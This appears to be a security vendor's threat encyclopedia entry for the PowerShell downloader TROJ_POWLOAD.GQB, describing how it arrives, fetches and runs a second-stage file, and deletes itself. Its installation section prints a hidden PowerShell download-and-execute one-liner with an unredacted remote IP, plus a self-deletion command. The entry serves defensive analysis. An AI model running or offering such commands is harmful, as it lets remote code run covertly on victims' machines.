TROJ_POWLOAD.GQB

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

It deletes itself after execution.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

• powershell.exe -nop -w hidden -c $J=new-object net.webclient;$J.proxy=[Net.WebRequest]::GetSystemWebProxy();$J.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $J.downloadstring('http://5.39.218.205/logo.png') - downloads a component file
• cmd.exe /c ping -n 1 -w 2000 192.168.123.254 > nul & del {malware path and filename}.exe
• rundll32 {TROJ_SWORT.VSYB - resides in memory}

Download Routine

This Trojan accesses the following websites to download files:

• http://{BLOCKED}.{BLOCKED}.218.205/logo.png

Trend Micro detects the dowloaded file as:

• TROJ_PLASTI.A

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Other Details

This Trojan deletes itself after execution.